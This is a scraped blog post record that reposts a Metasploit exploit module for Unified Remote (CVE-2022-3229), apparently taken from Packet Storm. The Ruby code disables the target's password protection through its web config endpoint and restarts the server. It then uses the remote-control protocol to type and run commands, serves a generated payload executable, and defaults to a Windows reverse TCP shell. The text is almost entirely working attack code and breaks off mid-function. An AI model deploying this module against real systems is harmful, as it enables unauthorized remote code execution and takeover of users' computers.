{"id":30994,"date":"2022-09-21T20:09:20","date_gmt":"2022-09-21T16:09:20","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/168456\/unified_remote_rce.rb.txt"},"modified":"2022-09-28T15:45:19","modified_gmt":"2022-09-28T12:15:19","slug":"unified-remote-authentication-bypass-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/unified-remote-authentication-bypass-code-execution\/","title":{"rendered":"Unified Remote Authentication Bypass \/ Code Execution"},"content":{"rendered":"<p dir=\"ltr\">##<br \/>\n# This module requires Metasploit: https:\/\/metasploit.com\/download<br \/>\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>\n##<\/p>\n<p dir=\"ltr\">class MetasploitModule &lt; Msf::Exploit::Remote<br \/>\nRank = NormalRanking<\/p>\n<p dir=\"ltr\">include Exploit::Remote::Tcp<br \/>\n# attempted cmdstger, however there was so much sleep involved for the screen to clear the buffer<br \/>\n# that it was going to take hours. The buffer would also overrun itself and the exploit would fail<br \/>\n# if not enough sleep time was used. it was a nightmare, not for this exploit.<br \/>\n# include Msf::Exploit::CmdStager<br \/>\ninclude Exploit::EXE # generate_payload_exe<br \/>\ninclude Msf::Exploit::Remote::HttpServer::HTML<br \/>\ninclude Msf::Exploit::FileDropper<\/p>\n<p dir=\"ltr\">def initialize(info = {})<br \/>\nsuper(<br \/>\nupdate_info(<br \/>\ninfo,<br \/>\n&#8216;Name&#8217; =&gt; &#8216;Unified Remote Auth Bypass to RCE&#8217;,<br \/>\n&#8216;Description&#8217; =&gt; %q{<br \/>\nThis module utilizes the Unified Remote remote control protocol to type out and<br \/>\ndeploy a payload. The remote control protocol can be configured to have no passwords,<br \/>\na group password, or individual user accounts. If the web page is accessible, the<br \/>\naccess control is set to no password for exploitation, then reverted.<br \/>\nIf the web page is not accessible, exploitation will be tried blindly.<br \/>\nThis module has been successfully tested against version 3.11.0.2483 (50) on Windows 10.<br \/>\n},<br \/>\n&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>\n&#8216;Author&#8217; =&gt; [<br \/>\n&#8216;h00die&#8217;, # msf module<br \/>\n&#8216;H4RK3NZ0&#8217; # edb<br \/>\n],<br \/>\n&#8216;References&#8217; =&gt; [<br \/>\n[ &#8216;EDB&#8217;, &#8216;49587&#8217; ],<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/www.unifiedremote.com\/&#8217; ],<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/H4rk3nz0\/PenTesting\/blob\/main\/Exploits\/unified%20remote\/unified-remote-rce.py&#8217; ],<br \/>\n[ &#8216;CVE&#8217;, &#8216;2022-3229&#8217; ]\n],<br \/>\n&#8216;Arch&#8217; =&gt; [ ARCH_X64, ARCH_X86 ],<br \/>\n&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>\n&#8216;Stance&#8217; =&gt; Msf::Exploit::Stance::Aggressive,<br \/>\n&#8216;Targets&#8217; =&gt; [<br \/>\n[&#8216;pull&#8217;, {}],<br \/>\n],<br \/>\n&#8216;Payload&#8217; =&gt; {<br \/>\n&#8216;BadChars&#8217; =&gt; &#8220;\\x0a\\x00&#8243;<br \/>\n},<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n# since this may get typed out ON SCREEN we want as small a payload as possible<br \/>\n&#8216;PAYLOAD&#8217; =&gt; &#8216;windows\/shell\/reverse_tcp&#8217;<br \/>\n},<br \/>\n&#8216;DisclosureDate&#8217; =&gt; &#8216;2021-02-25&#8217;,<br \/>\n&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>\n&#8216;Notes&#8217; =&gt; {<br \/>\n&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>\n&#8216;Reliability&#8217; =&gt; [CRASH_SERVICE_DOWN],<br \/>\n&#8216;SideEffects&#8217; =&gt; [SCREEN_EFFECTS, ARTIFACTS_ON_DISK] # typing on screen<br \/>\n}<br \/>\n)<br \/>\n)<br \/>\nregister_options(<br \/>\n[<br \/>\nOptPort.new(&#8216;RPORT&#8217;, [true, &#8216;Port Unified Remote runs on&#8217;, 9512]),<br \/>\nOptPort.new(&#8216;WEBSERVER&#8217;, [true, &#8216;Port Unified Remote web server runs on&#8217;, 9510]),<br \/>\nOptInt.new(&#8216;SLEEP&#8217;, [true, &#8216;How long to sleep between commands&#8217;, 1]),<br \/>\nOptString.new(&#8216;PATH&#8217;, [true, &#8216;Where to stage payload for pull method&#8217;, &#8216;c:\\\\Windows\\\\Temp\\\\&#8217;]),<br \/>\nOptString.new(&#8216;CLIENTNAME&#8217;, [false, &#8216;Name of client, this shows up in the logs&#8217;, &#8221;]),<br \/>\nOptBool.new(&#8216;VISIBLE&#8217;, [false, &#8216;Make exploitation visible to the user&#8217;, false]),<br \/>\n]\n)<br \/>\nend<\/p>\n<p dir=\"ltr\">def win_key<br \/>\n&#8216;LWIN&#8217; # 4c57494e<br \/>\nend<\/p>\n<p dir=\"ltr\">def ret_key<br \/>\n&#8216;RETURN&#8217; # 52455455524e<br \/>\nend<\/p>\n<p dir=\"ltr\">def space_key<br \/>\n&#8216;SPACE&#8217; # 5350414345<br \/>\nend<\/p>\n<p dir=\"ltr\">def path<br \/>\nreturn datastore[&#8216;PATH&#8217;] if datastore[&#8216;PATH&#8217;].end_with? &#8216;\\\\&#8217;<\/p>\n<p dir=\"ltr\">&#8220;#{datastore[&#8216;PATH&#8217;]}\\\\&#8221;<br \/>\nend<\/p>\n<p dir=\"ltr\">def initialize_packet<br \/>\ninitialize_packet = &#8220;\\x00\\x00\\x00\\x85\\x00\\x01\\x08&#8221;<br \/>\ninitialize_packet &lt;&lt; &#8220;Action\\x00&#8221; # 416374696f6e 00<br \/>\ninitialize_packet &lt;&lt; &#8220;\\x00\\x05&#8221;<br \/>\ninitialize_packet &lt;&lt; &#8220;Password\\x00&#8221; # 50617373776f7264 00<br \/>\ninitialize_packet &lt;&lt; &#8216;8e8133b3-a18b-43af-a7cd-e04f747827ce&#8217; # 38653831333362332d613138622d343361662d613763642d653034663734373832376365 seems to be a default<br \/>\ninitialize_packet &lt;&lt; &#8220;\\x00\\x05&#8221;<br \/>\ninitialize_packet &lt;&lt; &#8220;Platform\\x00&#8221; # 506c6174666f726d 00<br \/>\ninitialize_packet &lt;&lt; &#8220;android\\x00&#8221; # 616e64726f6964 00<br \/>\ninitialize_packet &lt;&lt; &#8220;\\x08&#8221;<br \/>\ninitialize_packet &lt;&lt; &#8220;Request\\x00&#8221; # 52657175657374 00<br \/>\ninitialize_packet &lt;&lt; &#8220;\\x00\\x05&#8221;<br \/>\ninitialize_packet &lt;&lt; &#8220;Source\\x00&#8221; # 536f7572636500<br \/>\n# this line shows up in logs as who connected<br \/>\ninitialize_packet &lt;&lt; &#8220;#{@client_name}\\x00&#8221; # 616e64726f69642d64373038653134653532383463623831 00<br \/>\ninitialize_packet &lt;&lt; &#8220;\\x03&#8221;<br \/>\ninitialize_packet &lt;&lt; &#8220;Version\\x00&#8221; # 56657273696f6e 00<br \/>\ninitialize_packet &lt;&lt; &#8220;\\x00\\x00\\x00\\x0a\\x00&#8221;<br \/>\nend<\/p>\n<p dir=\"ltr\">def empty_authentication<br \/>\nempty_authentication = &#8220;\\x00\\x00\\x00\\xc8\\x00\\x01\\x08&#8221;<br \/>\nempty_authentication &lt;&lt; &#8220;Action\\x00&#8221; # 416374696f6e 00<br \/>\nempty_authentication &lt;&lt; &#8220;\\x01\\x02&#8221;<br \/>\nempty_authentication &lt;&lt; &#8220;Capabilities\\x00&#8221; # 4361706162696c6974696573 00<br \/>\nempty_authentication &lt;&lt; &#8220;\\x04&#8221;<br \/>\nempty_authentication &lt;&lt; &#8220;Actions\\x00&#8221; # 416374696f6e73 00<br \/>\nempty_authentication &lt;&lt; &#8220;\\x01\\x04&#8221;<br \/>\nempty_authentication &lt;&lt; &#8220;Encryption2\\x00&#8221; # 456e6372797074696f6e32 00<br \/>\nempty_authentication &lt;&lt; &#8220;\\x01\\x04&#8221;<br \/>\nempty_authentication &lt;&lt; &#8220;Fast\\x00&#8221; # 46617374 00<br \/>\nempty_authentication &lt;&lt; &#8220;\\x00\\x04&#8221;<br \/>\nempty_authentication &lt;&lt; &#8220;Grid\\x00&#8221; # 47726964 00<br \/>\nempty_authentication &lt;&lt; &#8220;\\x01\\x04&#8221;<br \/>\nempty_authentication &lt;&lt; &#8220;Loading\\x00&#8221; # 4c6f6164696e6700<br \/>\nempty_authentication &lt;&lt; &#8220;\\x01\\x04&#8221;<br \/>\nempty_authentication &lt;&lt; &#8220;Sync\\x00&#8221; # 53796e6300<br \/>\nempty_authentication &lt;&lt; &#8220;\\x01\\x00\\x05&#8221;<br \/>\nempty_authentication &lt;&lt; &#8220;Password\\x00&#8221; # 50617373776f7264 00<br \/>\nempty_authentication &lt;&lt; &#8216;d634c1dcfdeb8735608a4a104ded4076de766dd61443619809ad7f35858d4492&#8217; # 64363334633164636664656238373335363038613461313034646564343037366465373636646436313434333631393830396164376633353835386434343932 seems to be a default<br \/>\nempty_authentication &lt;&lt; &#8220;\\x00\\x08&#8221;<br \/>\nempty_authentication &lt;&lt; &#8220;Request\\x00&#8221; # 52657175657374 00<br \/>\nempty_authentication &lt;&lt; &#8220;\\x01\\x05&#8221;<br \/>\nempty_authentication &lt;&lt; &#8220;Source\\x00&#8221; # 536f7572636500<br \/>\n# this line shows up in logs as who connected<br \/>\nempty_authentication &lt;&lt; &#8220;#{@client_name}\\x00&#8221; # 616e64726f69642d64373038653134653532383463623831 00<br \/>\nempty_authentication &lt;&lt; &#8220;\\x00&#8221;<br \/>\nend<\/p>\n<p dir=\"ltr\">#############################################<br \/>\n# These methods\/packets are for visible mode<br \/>\n#############################################<\/p>\n<p dir=\"ltr\">def string_header_one(length)<br \/>\n# 2 null, then message length takes next 2 spots<br \/>\nstring_header_one = &#8220;\\x00\\x00&#8221;<br \/>\nstring_header_one &lt;&lt; [length].pack(&#8216;n&#8217;).to_s<br \/>\nend<\/p>\n<p dir=\"ltr\">def string_header_two<br \/>\nstring_header_two = &#8220;\\x00\\x01\\x08&#8221;<br \/>\nstring_header_two &lt;&lt; &#8220;Action\\x00&#8221; # 416374696f6e 00<br \/>\nstring_header_two &lt;&lt; &#8220;\\x07\\x05&#8221;<br \/>\nstring_header_two &lt;&lt; &#8220;ID\\x00&#8221; # 4944 00<br \/>\nstring_header_two &lt;&lt; &#8220;Relmtech.Keyboard\\x00&#8221; # 52656c6d746563682e4b6579626f617264 00<br \/>\nstring_header_two &lt;&lt; &#8220;\\x02&#8221;<br \/>\nstring_header_two &lt;&lt; &#8220;Layout\\x00&#8221; # 4c61796f7574 00<br \/>\nstring_header_two &lt;&lt; &#8220;\\x06&#8221;<br \/>\nstring_header_two &lt;&lt; &#8220;Controls\\x00&#8221; # 436f6e74726f6c73 00<br \/>\nstring_header_two &lt;&lt; &#8220;\\x02\\x00\\x02&#8221;<br \/>\nstring_header_two &lt;&lt; &#8220;OnAction\\x00&#8221; # 4f6e416374696f6e 00<br \/>\nstring_header_two &lt;&lt; &#8220;\\x02&#8221;<br \/>\nstring_header_two &lt;&lt; &#8220;Extras\\x00&#8221; # 457874726173 00<br \/>\nstring_header_two &lt;&lt; &#8220;\\x06&#8221;<br \/>\nstring_header_two &lt;&lt; &#8220;Values\\x00&#8221; # 56616c756573 00<br \/>\nstring_header_two &lt;&lt; &#8220;\\x02\\x00\\x05&#8221;<br \/>\nstring_header_two &lt;&lt; &#8220;Value\\x00&#8221; # 56616c7565 00<br \/>\nend<\/p>\n<p dir=\"ltr\">def string_footer<br \/>\nstring_footer = &#8220;\\x00\\x00\\x00\\x00\\x05&#8221;<br \/>\nstring_footer &lt;&lt; &#8220;Name\\x00&#8221; # 4e616d65 00<br \/>\nstring_footer &lt;&lt; &#8220;toggle\\x00&#8221; # 746f67676c65 00<br \/>\nstring_footer &lt;&lt; &#8220;\\x00\\x05&#8221;<br \/>\nstring_footer &lt;&lt; &#8220;Source\\x00&#8221; # 536f75726365 00<br \/>\n# this line shows up in logs as who connected<br \/>\nstring_footer &lt;&lt; &#8220;#{@client_name}\\x00&#8221; # 616e64726f69642d64373038653134653532383463623831 00<br \/>\nstring_footer &lt;&lt; &#8220;\\x00&#8221;<br \/>\nend<\/p>\n<p dir=\"ltr\">def send_key(key, press_return: false)<br \/>\nif key == &#8216; &#8216;<br \/>\nkey = space_key<br \/>\nend<br \/>\ncontents = &#8220;#{string_header_two}#{key}#{string_header_three}#{key}#{string_footer}&#8221;<br \/>\ncontents = &#8220;#{string_header_one(contents.length)}#{contents}&#8221;<br \/>\nsock.put(contents)<br \/>\nif press_return<br \/>\ncontents = &#8220;#{string_header_two}#{ret_key}#{string_header_three}#{ret_key}#{string_footer}&#8221;<br \/>\ncontents = &#8220;#{string_header_one(contents.length)}#{contents}&#8221;<br \/>\nsock.put(contents)<br \/>\nend<br \/>\nend<\/p>\n<p dir=\"ltr\">##############################################<br \/>\n# These methods\/packets are for invisible mode<br \/>\n##############################################<\/p>\n<p dir=\"ltr\">def load_unified_command<br \/>\n# header: 00 00 00 5e<br \/>\nwait = &#8220;\\x00\\x01\\x08&#8221;<br \/>\nwait &lt;&lt; &#8220;Action\\x00&#8221; # 416374696f6e 00<br \/>\nwait &lt;&lt; &#8220;\\x03\\x05&#8221; # changed from the previous one from 07 to 03<br \/>\nwait &lt;&lt; &#8220;ID\\x00&#8221; # 4944 00<br \/>\nwait &lt;&lt; &#8220;Unified.Command\\x00&#8221; # 556e69666965642e436f6d6d616e64 00<br \/>\nwait &lt;&lt; &#8220;\\x02&#8221;<br \/>\nwait &lt;&lt; &#8220;Layout\\x00&#8221; # 4c61796f7574 00<br \/>\nwait &lt;&lt; &#8220;\\x03&#8221;<br \/>\nwait &lt;&lt; &#8220;Hash\\x00&#8221; # 48617368 00<br \/>\nwait &lt;&lt; &#8220;\\x9e\\xd0\\x99:\\x00&#8221; # 9ed0993a 00<br \/>\nwait &lt;&lt; &#8220;\\x08&#8221;<br \/>\nwait &lt;&lt; &#8220;Request\\x00&#8221; # 52657175657374 00<br \/>\nwait &lt;&lt; &#8220;\\x03\\x05&#8221; # changed from the previous one from 07 to 03<br \/>\nwait &lt;&lt; &#8220;Source\\x00&#8221; # 536f7572636500<br \/>\nwait &lt;&lt; &#8220;#{@client_name}\\x00&#8221;<br \/>\nwait &lt;&lt; &#8220;\\x00&#8221;<br \/>\nend<\/p>\n<p dir=\"ltr\">def create_script<br \/>\n# header: 00 00 00 e2<br \/>\nnew_onee = &#8220;\\x00\\x01\\x08&#8221;<br \/>\nnew_onee &lt;&lt; &#8220;Action\\x00&#8221; # 416374696f6e 00<br \/>\nnew_onee &lt;&lt; &#8220;\\x07\\x05&#8221;<br \/>\nnew_onee &lt;&lt; &#8220;ID\\x00&#8221; # 4944 00<br \/>\nnew_onee &lt;&lt; &#8220;Unified.Command\\x00&#8221; # 556e69666965642e436f6d6d616e64 00<br \/>\nnew_onee &lt;&lt; &#8220;\\x02&#8221;<br \/>\nnew_onee &lt;&lt; &#8220;Layout\\x00&#8221; # 4c61796f7574 00<br \/>\nnew_onee &lt;&lt; &#8220;\\x06&#8221;<br \/>\nnew_onee &lt;&lt; &#8220;Controls\\x00&#8221; # 436f6e74726f6c73 00<br \/>\nnew_onee &lt;&lt; &#8220;\\x02\\x00\\x02&#8221;<br \/>\nnew_onee &lt;&lt; &#8220;OnAction\\x00&#8221; # 4f6e416374696f6e 00<br \/>\nnew_onee &lt;&lt; &#8220;\\x02&#8221;<br \/>\nnew_onee &lt;&lt; &#8220;Extras\\x00&#8221; # 457874726173 00<br \/>\nnew_onee &lt;&lt; &#8220;\\x06&#8221;<br \/>\nnew_onee &lt;&lt; &#8220;Values\\x00&#8221; # 56616c756573 00<br \/>\nnew_onee &lt;&lt; &#8220;\\x02\\x00\\x05&#8221;<br \/>\nnew_onee &lt;&lt; &#8220;Key\\x00&#8221; # 4b6579 00<br \/>\nnew_onee &lt;&lt; &#8220;Text\\x00&#8221; # 54657874 00<br \/>\nnew_onee &lt;&lt; &#8220;\\x05&#8221;<br \/>\nnew_onee &lt;&lt; &#8220;Value\\x00&#8221; # 56616c7565 00<br \/>\nnew_onee &lt;&lt; &#8220;\\x00\\x00\\x00\\x00\\x05&#8221;<br \/>\nnew_onee &lt;&lt; &#8220;Name\\x00&#8221; # 4e616d65 00<br \/>\nnew_onee &lt;&lt; &#8220;update\\x00&#8221; # 757064617465 00<br \/>\nnew_onee &lt;&lt; &#8220;\\x00\\x08&#8221;<br \/>\nnew_onee &lt;&lt; &#8220;Type\\x00&#8221; # 54797065 00<br \/>\nnew_onee &lt;&lt; &#8220;\\x08\\x00\\x00\\x00\\x08&#8221;<br \/>\nnew_onee &lt;&lt; &#8220;Request\\x00&#8221; # 52657175657374 00<br \/>\nnew_onee &lt;&lt; &#8220;\\x07\\x02&#8221;<br \/>\nnew_onee &lt;&lt; &#8220;Run\\x00&#8221; # 52756e 00<br \/>\nnew_onee &lt;&lt; &#8220;\\x02&#8221;<br \/>\nnew_onee &lt;&lt; &#8220;Extras\\x00&#8221; # 457874726173 00<br \/>\nnew_onee &lt;&lt; &#8220;\\x06&#8221;<br \/>\nnew_onee &lt;&lt; &#8220;Values\\x00&#8221; # 56616c756573 00<br \/>\nnew_onee &lt;&lt; &#8220;\\x02\\x00\\x05&#8221;<br \/>\nnew_onee &lt;&lt; &#8220;Key\\x00&#8221; # 4b6579 00<br \/>\nnew_onee &lt;&lt; &#8220;Text\\x00&#8221; # 54657874 00<br \/>\nnew_onee &lt;&lt; &#8220;\\x05&#8221;<br \/>\nnew_onee &lt;&lt; &#8220;Value\\x00&#8221; # 56616c7565 00<br \/>\nnew_onee &lt;&lt; &#8220;\\x00\\x00\\x00\\x00\\x05&#8221;<br \/>\nnew_onee &lt;&lt; &#8220;Name\\x00&#8221; # 4e616d65 00<br \/>\nnew_onee &lt;&lt; &#8220;update\\x00&#8221; # 757064617465 00<br \/>\nnew_onee &lt;&lt; &#8220;\\x00\\x05&#8221;<br \/>\nnew_onee &lt;&lt; &#8220;Source\\x00&#8221; # 536f75726365 00<br \/>\nnew_onee &lt;&lt; &#8220;#{@client_name}\\x00&#8221;<br \/>\nnew_onee &lt;&lt; &#8220;\\x00&#8221;<br \/>\nend<\/p>\n<p dir=\"ltr\">def initialize_keyboard<br \/>\n# header 00 00 00 4b<br \/>\nnew_twoo = &#8220;\\x00\\x01\\x08&#8221;<br \/>\nnew_twoo &lt;&lt; &#8220;Action\\x00&#8221; # 416374696f6e 00<br \/>\nnew_twoo &lt;&lt; &#8220;\\x05\\x05&#8221;<br \/>\nnew_twoo &lt;&lt; &#8220;ID\\x00&#8221; # 4944 00<br \/>\nnew_twoo &lt;&lt; &#8220;Unified.Command\\x00&#8221; # 556e69666965642e436f6d6d616e64 00<br \/>\nnew_twoo &lt;&lt; &#8220;\\x08&#8221;<br \/>\nnew_twoo &lt;&lt; &#8220;Request\\x00&#8221; # 52657175657374 00<br \/>\nnew_twoo &lt;&lt; &#8220;\\x05\\x05&#8221;<br \/>\nnew_twoo &lt;&lt; &#8220;Source\\x00&#8221; # 536f75726365 00<br \/>\nnew_twoo &lt;&lt; &#8220;#{@client_name}\\x00&#8221;<br \/>\nnew_twoo &lt;&lt; &#8220;\\x00&#8221;<br \/>\nend<\/p>\n<p dir=\"ltr\">def add_content(command)<br \/>\n# header is dymanic based on length of command<br \/>\nnew_threee = &#8220;\\x00\\x01\\x08&#8221;<br \/>\nnew_threee &lt;&lt; &#8220;Action\\x00&#8221; # 416374696f6e 00<br \/>\nnew_threee &lt;&lt; &#8220;\\x07\\x05&#8221;<br \/>\nnew_threee &lt;&lt; &#8220;ID\\x00&#8221; # 4944 00<br \/>\nnew_threee &lt;&lt; &#8220;Unified.Command\\x00&#8221; # 556e69666965642e436f6d6d616e64 00<br \/>\nnew_threee &lt;&lt; &#8220;\\x02&#8221;<br \/>\nnew_threee &lt;&lt; &#8220;Layout\\x00&#8221; # 4c61796f7574 00<br \/>\nnew_threee &lt;&lt; &#8220;\\x06&#8221;<br \/>\nnew_threee &lt;&lt; &#8220;Controls\\x00&#8221; # 436f6e74726f6c73 00<br \/>\nnew_threee &lt;&lt; &#8220;\\x02\\x00\\x02&#8221;<br \/>\nnew_threee &lt;&lt; &#8220;OnAction\\x00&#8221; # 4f6e416374696f6e 00<br \/>\nnew_threee &lt;&lt; &#8220;\\x02&#8221;<br \/>\nnew_threee &lt;&lt; &#8220;Extras\\x00&#8221; # 457874726173 00<br \/>\nnew_threee &lt;&lt; &#8220;\\x06&#8221;<br \/>\nnew_threee &lt;&lt; &#8220;Values\\x00&#8221; # 56616c756573 00<br \/>\nnew_threee &lt;&lt; &#8220;\\x02\\x00\\x05&#8221;<br \/>\nnew_threee &lt;&lt; &#8220;Key\\x00&#8221; # 4b6579 00<br \/>\nnew_threee &lt;&lt; &#8220;Text\\x00&#8221; # 54657874 00<br \/>\nnew_threee &lt;&lt; &#8220;\\x05&#8221;<br \/>\nnew_threee &lt;&lt; &#8220;Value\\x00&#8221; # 56616c7565 00<br \/>\nnew_threee &lt;&lt; command<br \/>\nnew_threee &lt;&lt; &#8220;\\x00\\x00\\x00\\x00\\x05&#8221;<br \/>\nnew_threee &lt;&lt; &#8220;Name\\x00&#8221; # 4e616d65 00<br \/>\nnew_threee &lt;&lt; &#8220;update\\x00&#8221; # 757064617465 00<br \/>\nnew_threee &lt;&lt; &#8220;\\x00\\x08&#8221;<br \/>\nnew_threee &lt;&lt; &#8220;Type\\x00&#8221; # 54797065 00<br \/>\nnew_threee &lt;&lt; &#8220;\\x08\\x00\\x00\\x00\\x08&#8221;<br \/>\nnew_threee &lt;&lt; &#8220;Request\\x00&#8221; # 52657175657374 00<br \/>\nnew_threee &lt;&lt; &#8220;\\x07\\x02&#8221;<br \/>\nnew_threee &lt;&lt; &#8220;Run\\x00&#8221; # 52756e 00<br \/>\nnew_threee &lt;&lt; &#8220;\\x02&#8221;<br \/>\nnew_threee &lt;&lt; &#8220;Extras\\x00&#8221; # 457874726173 00<br \/>\nnew_threee &lt;&lt; &#8220;\\x06&#8221;<br \/>\nnew_threee &lt;&lt; &#8220;Values\\x00&#8221; # 56616c756573 00<br \/>\nnew_threee &lt;&lt; &#8220;\\x02\\x00\\x05&#8221;<br \/>\nnew_threee &lt;&lt; &#8220;Key\\x00&#8221; # 4b6579 00<br \/>\nnew_threee &lt;&lt; &#8220;Text\\x00&#8221; # 54657874 00<br \/>\nnew_threee &lt;&lt; &#8220;\\x05&#8221;<br \/>\nnew_threee &lt;&lt; &#8220;Value\\x00&#8221; # 56616c7565 00<br \/>\nnew_threee &lt;&lt; command<br \/>\nnew_threee &lt;&lt; &#8220;\\x00\\x00\\x00\\x00\\x05&#8221;<br \/>\nnew_threee &lt;&lt; &#8220;Name\\x00&#8221; # 4e616d65 00<br \/>\nnew_threee &lt;&lt; &#8220;update\\x00&#8221; # 757064617465 00<br \/>\nnew_threee &lt;&lt; &#8220;\\x00\\x05&#8221;<br \/>\nnew_threee &lt;&lt; &#8220;Source\\x00&#8221; # 536f75726365 00<br \/>\nnew_threee &lt;&lt; &#8220;#{@client_name}\\x00&#8221;<br \/>\nnew_threee &lt;&lt; &#8220;\\x00&#8221;<br \/>\nend<\/p>\n<p dir=\"ltr\">def execute_script<br \/>\n# header 00 00 00 96<br \/>\nnew_fourr = &#8220;\\x00\\x01\\x08&#8221;<br \/>\nnew_fourr &lt;&lt; &#8220;Action\\x00&#8221; # 416374696f6e 00<br \/>\nnew_fourr &lt;&lt; &#8220;\\x07\\x05&#8221;<br \/>\nnew_fourr &lt;&lt; &#8220;ID\\x00&#8221; # 4944 00<br \/>\nnew_fourr &lt;&lt; &#8220;Unified.Command\\x00&#8221; # 556e69666965642e436f6d6d616e64 00<br \/>\nnew_fourr &lt;&lt; &#8220;\\x02&#8221;<br \/>\nnew_fourr &lt;&lt; &#8220;Layout\\x00&#8221; # 4c61796f7574 00<br \/>\nnew_fourr &lt;&lt; &#8220;\\x06&#8221;<br \/>\nnew_fourr &lt;&lt; &#8220;Controls\\x00&#8221; # 436f6e74726f6c73 00<br \/>\nnew_fourr &lt;&lt; &#8220;\\x02\\x00\\x02&#8221;<br \/>\nnew_fourr &lt;&lt; &#8220;OnAction\\x00&#8221; # 4f6e416374696f6e 00<br \/>\nnew_fourr &lt;&lt; &#8220;\\x05&#8221;<br \/>\nnew_fourr &lt;&lt; &#8220;Name\\x00&#8221; # 4e616d65 00<br \/>\nnew_fourr &lt;&lt; &#8220;execute\\x00&#8221; # 65786563757465 00<br \/>\nnew_fourr &lt;&lt; &#8220;\\x00\\x08&#8221;<br \/>\nnew_fourr &lt;&lt; &#8220;Type\\x00&#8221; # 54797065 00<br \/>\nnew_fourr &lt;&lt; &#8220;\\x08\\x00\\x00\\x00\\x08&#8221;<br \/>\nnew_fourr &lt;&lt; &#8220;Request\\x00&#8221; # 52657175657374 00<br \/>\nnew_fourr &lt;&lt; &#8220;\\x07\\x02&#8221;<br \/>\nnew_fourr &lt;&lt; &#8220;Run\\x00&#8221; # 52756e 00<br \/>\nnew_fourr &lt;&lt; &#8220;\\x05&#8221;<br \/>\nnew_fourr &lt;&lt; &#8220;Name\\x00&#8221; # 4e616d65 00<br \/>\nnew_fourr &lt;&lt; &#8220;execute\\x00&#8221; # 65786563757465 00<br \/>\nnew_fourr &lt;&lt; &#8220;\\x00\\x05&#8221;<br \/>\nnew_fourr &lt;&lt; &#8220;Source\\x00&#8221; # 536f75726365 00<br \/>\nnew_fourr &lt;&lt; &#8220;#{@client_name}\\x00&#8221;<br \/>\nnew_fourr &lt;&lt; &#8220;\\x00&#8221;<br \/>\nend<\/p>\n<p dir=\"ltr\">def string_header_three<br \/>\nstring_header_three = &#8220;\\x00\\x00\\x00\\x00\\x05&#8221;<br \/>\nstring_header_three &lt;&lt; &#8220;Name\\x00&#8221; # 4e616d65 00<br \/>\nstring_header_three &lt;&lt; &#8220;toggle\\x00&#8221; # 746f67676c65 00<br \/>\nstring_header_three &lt;&lt; &#8220;\\x00\\x08&#8221;<br \/>\nstring_header_three &lt;&lt; &#8220;Type\\x00&#8221; # 54797065 00<br \/>\nstring_header_three &lt;&lt; &#8220;\\x08\\x00\\x00\\x00\\x08&#8221;<br \/>\nstring_header_three &lt;&lt; &#8220;Request\\x00&#8221; # 52657175657374 00<br \/>\nstring_header_three &lt;&lt; &#8220;\\x07\\x02&#8221;<br \/>\nstring_header_three &lt;&lt; &#8220;Run\\x00&#8221; # 52756e 00<br \/>\nstring_header_three &lt;&lt; &#8220;\\x02&#8221;<br \/>\nstring_header_three &lt;&lt; &#8220;Extras\\x00&#8221; # 457874726173 00<br \/>\nstring_header_three &lt;&lt; &#8220;\\x06&#8221;<br \/>\nstring_header_three &lt;&lt; &#8220;Values\\x00&#8221; # 56616c756573 00<br \/>\nstring_header_three &lt;&lt; &#8220;\\x02\\x00\\x05&#8221;<br \/>\nstring_header_three &lt;&lt; &#8220;Value\\x00&#8221; # 56616c7565 00<br \/>\nend<\/p>\n<p dir=\"ltr\">def on_request_uri(cli, _req)<br \/>\np = generate_payload_exe<br \/>\nsend_response(cli, p)<br \/>\nprint_good(&#8220;Payload request received, sending #{p.length} bytes of payload for staging&#8221;)<br \/>\nend<\/p>\n<p dir=\"ltr\">def restart_server<br \/>\nhttp_sock = connect(false, { &#8216;RPORT&#8217; =&gt; datastore[&#8216;WEBSERVER&#8217;].to_i })<br \/>\n# http client overrides sock, so we had to pick one&#8230; long live sock<br \/>\nrequest = &#8220;GET \/system\/restart HTTP\/1.1\\r\\n&#8221;<br \/>\nrequest &lt;&lt; &#8220;Host: #{datastore[&#8216;RHOST&#8217;]}:#{datastore[&#8216;WEBSERVER&#8217;]}\\r\\n&#8221;<br \/>\nrequest &lt;&lt; &#8220;\\r\\n&#8221;<\/p>\n<p dir=\"ltr\">http_sock.put(request)<br \/>\ndisconnect<br \/>\nprint_status(&#8216;Sleeping 5 seconds for server to restart&#8217;)<br \/>\nsleep(5)<br \/>\nend<\/p>\n<p dir=\"ltr\">def set_config(config)<br \/>\nprint_status(&#8216;Uploading new server config&#8217;)<br \/>\nhttp_sock = connect(false, { &#8216;RPORT&#8217; =&gt; datastore[&#8216;WEBSERVER&#8217;].to_i })<br \/>\n# http client overrides sock, so we had to pick one&#8230; long live sock<br \/>\nrequest = &#8220;POST \/system\/config HTTP\/1.1\\r\\n&#8221;<br \/>\nrequest &lt;&lt; &#8220;Host: #{datastore[&#8216;RHOST&#8217;]}:#{datastore[&#8216;WEBSERVER&#8217;]}\\r\\n&#8221;<br \/>\nrequest &lt;&lt; &#8220;Accept: application\/json, text\/javascript, *\/*; q=0.01\\r\\n&#8221;<br \/>\nrequest &lt;&lt; &#8220;Content-Type: application\/json\\r\\n&#8221;<br \/>\nrequest &lt;&lt; &#8220;X-Requested-With: XMLHttpRequest\\r\\n&#8221;<br \/>\nrequest &lt;&lt; &#8220;Content-Length: #{config.to_json.length}\\r\\n&#8221;<br \/>\nrequest &lt;&lt; &#8220;\\r\\n&#8221;<br \/>\nrequest &lt;&lt; config.to_json<\/p>\n<p dir=\"ltr\">http_sock.put(request)<br \/>\nbegin<br \/>\nhttp_sock.get_once(-1)<br \/>\nrescue EOFError<br \/>\nreturn nil<br \/>\nend<\/p>\n<p dir=\"ltr\">disconnect<br \/>\nrestart_server<br \/>\nend<\/p>\n<p dir=\"ltr\">def get_config<br \/>\nprint_status(&#8216;Retrieving server config&#8217;)<br \/>\nhttp_sock = connect(false, { &#8216;RPORT&#8217; =&gt; datastore[&#8216;WEBSERVER&#8217;].to_i })<br \/>\n# http client overrides sock, so we had to 